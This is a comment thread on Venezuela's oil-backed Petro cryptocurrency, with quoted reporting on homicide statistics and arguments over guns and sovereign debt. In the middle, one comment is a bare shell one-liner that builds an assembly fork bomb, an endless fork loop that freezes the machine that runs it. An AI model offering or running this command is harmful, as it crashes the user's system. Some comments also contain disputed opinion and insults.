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Venezuela Launches Oil-Backed Cryptocurrency (bbc.co.uk)
Venezuela has launched a cryptocurrency backed by oil in an attempt to bypass tough economic sanctions imposed by the U.S. government. "The 'Petro' is intended to bolster the country's crumbling economy, which has been suffering from hyperinflation and devaluation for years," reports the BBC. "Venezuela claims it is the world's first sovereign cryptocurrency." From the report: Critics say the move is a desperate attempt by Caracas to raise cash at a time when Venezuela lacks the ability to repay its $150 billion of foreign debt. Opposition leaders said the sale constitutes an illegal issuing of debt, while the US Treasury Department warned it may violate sanctions imposed last year. The government says the currency aims to circumvent US sanctions on the economy. President Nicolas Maduro has said each tokens will be backed by a barrel of Venezuelan crude. The Latin American country has the world's largest proven oil reserves. A total of 100 million Petros will be sold, with an initial value set at $60, based on the price of a barrel of Venezuelan crude in mid-January. The official website published a guide to setting up a virtual wallet in which to hold the cryptocurrency, but did not provide a link for actually doing so on Tuesday.
https://www.reuters.com/articl...
With more than three killings per hour, Venezuela last year was the worldâ(TM)s second most murderous nation after El Salvador, a local crime monitoring group said. The homicide rate in Caracas alone was a staggering 140 per 100,000 people, according to the group, the Venezuelan Observatory of Violence.
Authorities say nongovernmental groups inflate figures to create paranoia and tarnish the government, but even so the most recent official national murder rate - 58 per 100,000 inhabitants for 2015 - was still among the worldâ(TM)s highest.
http://www.latimes.com/opinion...
The Venezuelan government stopped publishing comprehensive crime data more than a decade ago, and the discrepancies between what authorities say and data released by independent organizations are extreme.
For instance, local officials announced that 17,778 Venezuelans were victims of homicide in 2015. But the Venezuelan Violence Observatory, a nongovernmental group, estimated that there were 27,875 murders that year, which would make Venezuela's homicide rate one of the highest in the world, at 90 killings per 100,000 residents. The group found that the rate climbed higher in 2016, to 92 per 100,000.
Venezuela's capital, Caracas, was proclaimed the most violent city in the world last year by the Citizens' Council for Public Security and Criminal Justice, a Mexican research group that tallies an annual index of the world's most violent cities. The homicide rate supposedly topped 119 per 100,000 residents, the group said. But there are no official statistics to support the claim and, predictably, the Venezuelan government has denied it.
One reason for the data discrepancies is that the Venezuelan government has excluded extrajudicial killings from its homicide count, while human rights groups such as violence observatory do not. Also, the government has traditionally relied on statistics gathered by the Ministry of Health, while the observatory combines this health data with unofficial information about so-called resistance deaths attributed to state security forces and other deaths being investigated by independent forensics agencies.
In the absence of concrete and comprehensive statistics, some groups are attempting to gather oblique data on Venezuela's crime wave. Our organization commissioned a study on perceptions of violence from the Latin American Public Opinion Project at Vanderbilt University. Early data indicate that 6 out of 10 Venezuelans reported at least one murder in their neighborhood over the previous 12 months. By way of comparison, only 3.5 out of 10 respondents said the same in El Salvador and Honduras, considered the two most violent countries in the world.
The public opinion project survey also found that 80% of Venezuelans are "very" or "partly" afraid of being murdered in the coming year. This fear of violence is fueling a migration crisis as Venezuelans flee to Brazil and Colombia.
There are many causes of the spiraling homicide problem in Venezuela. Political and economic crises have undermined the legitimacy of institutions. The military and police have been largely discredited. State security agencies are said to both commit and ignore lethal violence. Impunity is rife and the cost of murder low, with an estimated 92% of homicides not resulting in a conviction. And gang violence has soared in the capital city.
But without solid statistics, Venezuela has little chance of slowing the crime wave anytime soon. It is next to impossible to make effective public policy without reliable data. Over the last decade, Venezuela has implemented no less than a dozen anti-crime initiatives, with no visible results to
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Failure to play well with multi-national corporations.
Finds quotes like:
The rise of murders in Venezuela following the Chávez presidency has also been attributed by experts to the corruption of Venezuelan authorities, poor gun control and a poor judiciary system.
and
According to Alessio Bruni of the United Nations Committee against Torture, "a typical problem of the prison system is gun violence, nearly circulating freely within prisons, causing hundreds and hundreds of people killed every year"
Outlawing guns without a proper judicial system is hard. And outlawing guns when they are readily available from the US is very hard.
I think it's fair to say that the ease of access to guns in the US causes a LOT of murders in south America. Where do you think Mexican cartels gets their guns from?
Also what is with the obsession of framing everything as a pro/con gun regulation argument. We know sane regulation of firearms limits the amount of damage a single person can cause... Fixing schools, education, mental healthcare, prisons, criminal justice, poverty, and running an trustworthy police force all contribute to reduction of violence, along with sane gun regulation.
The added upside to gun regulation is that it also protects neighboring countries, who currently suffer from illegal weapons import from the US.
Is the issuer worthy of trust regarding the exchange of these coins with oil at some undetermined time in the future?
Yes. Venezuela is trustworthy, and for good reason. They have huge overseas assets. They own Citgo, a refinery in the US. They own their own tankers, since many other shippers avoid shipping Venezuelan oil because of sanctions. These overseas assets can be seized in a debt default, which would shut off Venezuela's lifeline of oil revenue.
They may let their own people starve, but they will not default on international debt. If you bought Venezuela's dollar denominated bonds a year ago, you would now have a fantastic ROI.
Here is an article that explains it better than I did.
You can read Trump's executive order or Obama's executive order yourself, but basically it boils down to human rights abuses, muzzling the press, violently suppressing your political opponents, etc. Not necessarily a threat, just "quit being such a dictatorship!"
Enigma
They've already defaulted on international debt, and you're a fucking moron. http://www.bbc.com/news/world-latin-america-41982069
venezuela has already defaulted, nice try. and their tankers are breaking apart.
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